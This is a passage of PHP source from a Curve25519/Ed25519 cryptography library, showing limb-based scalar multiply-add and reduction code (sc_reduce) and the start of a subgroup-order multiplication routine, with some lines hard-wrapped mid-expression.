self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) +
               self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) +
self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24);
        $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) +
self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) +
               self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) +
self::mul($a11, $b5, 24);
        $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) +
self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) +
               self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24);
        $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) +
self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) +
               self::mul($a11, $b7, 24);
        $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) +
self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24);
        $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) +
self::mul($a11, $b9, 24);
        $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24);
        $s22 = self::mul($a11, $b11, 24);
        $s23 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        /** @var int $carry18 */
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        /** @var int $carry20 */
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        /** @var int $carry22 */
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        /** @var int $carry17 */
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        /** @var int $carry19 */
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        /** @var int $carry21 */
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry11 */
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            0xff & ($s11 >> 17)
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /** @var int $s0 */
        $s0 = 2097151 & self::load_3(self::substr($s, 0, 3));
        /** @var int $s1 */
        $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >>
5);
        /** @var int $s2 */
        $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >>
2);
        /** @var int $s3 */
        $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >>
7);
        /** @var int $s4 */
        $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >>
4);
        /** @var int $s5 */
        $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >>
1);
        /** @var int $s6 */
        $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >>
6);
        /** @var int $s7 */
        $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >>
3);
        /** @var int $s8 */
        $s8 = 2097151 & self::load_3(self::substr($s, 21, 3));
        /** @var int $s9 */
        $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >>
5);
        /** @var int $s10 */
        $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3))
>> 2);
        /** @var int $s11 */
        $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4))
>> 7);
        /** @var int $s12 */
        $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4))
>> 4);
        /** @var int $s13 */
        $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3))
>> 1);
        /** @var int $s14 */
        $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4))
>> 6);
        /** @var int $s15 */
        $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4))
>> 3);
        /** @var int $s16 */
        $s16 = 2097151 & self::load_3(self::substr($s, 42, 3));
        /** @var int $s17 */
        $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4))
>> 5);
        /** @var int $s18 */
        $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3))
>> 2);
        /** @var int $s19 */
        $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4))
>> 7);
        /** @var int $s20 */
        $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4))
>> 4);
        /** @var int $s21 */
        $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3))
>> 1);
        /** @var int $s22 */
        $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4))
>> 6);
        /** @var int $s23 */
        $s23 = (self::load_4(self::substr($s, 60, 4)) >> 3);

        $s11 += self::mul($s23,  666643, 20);
        $s12 += self::mul($s23,  470296, 19);
        $s13 += self::mul($s23,  654183, 20);
        $s14 -= self::mul($s23,  997805, 20);
        $s15 += self::mul($s23,  136657, 18);
        $s16 -= self::mul($s23,  683901, 20);

        $s10 += self::mul($s22,  666643, 20);
        $s11 += self::mul($s22,  470296, 19);
        $s12 += self::mul($s22,  654183, 20);
        $s13 -= self::mul($s22,  997805, 20);
        $s14 += self::mul($s22,  136657, 18);
        $s15 -= self::mul($s22,  683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry11 */
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($s0 >> 0),
            (int) ($s0 >> 8),
            (int) (($s0 >> 16) | $s1 << 5),
            (int) ($s1 >> 3),
            (int) ($s1 >> 11),
            (int) (($s1 >> 19) | $s2 << 2),
            (int) ($s2 >> 6),
            (int) (($s2 >> 14) | $s3 << 7),
            (int) ($s3 >> 1),
            (int) ($s3 >> 9),
            (int) (($s3 >> 17) | $s4 << 4),
            (int) ($s4 >> 4),
            (int) ($s4 >> 12),
            (int) (($s4 >> 20) | $s5 << 1),
            (int) ($s5 >> 7),
            (int) (($s5 >> 15) | $s6 << 6),
            (int) ($s6 >> 2),
            (int) ($s6 >> 10),
            (int) (($s6 >> 18) | $s7 << 3),
            (int) ($s7 >> 5),
            (int) ($s7 >> 13),
            (int) ($s8 >> 0),
            (int) ($s8 >> 8),
            (int) (($s8 >> 16) | $s9 << 5),
            (int) ($s9 >> 3),
            (int) ($s9 >> 11),
            (int) (($s9 >> 19) | $s10 << 2),
            (int) ($s10 >> 6),
            (int) (($s10 >> 14) | $s11 << 7),
            (int) ($s11 >> 1),
            (int) ($s11 >> 9),
            (int) $s11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l =
2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3
$A)
    {
        /** @var array<int, int> $aslide */
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0,
0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3,
0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0,
0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0,
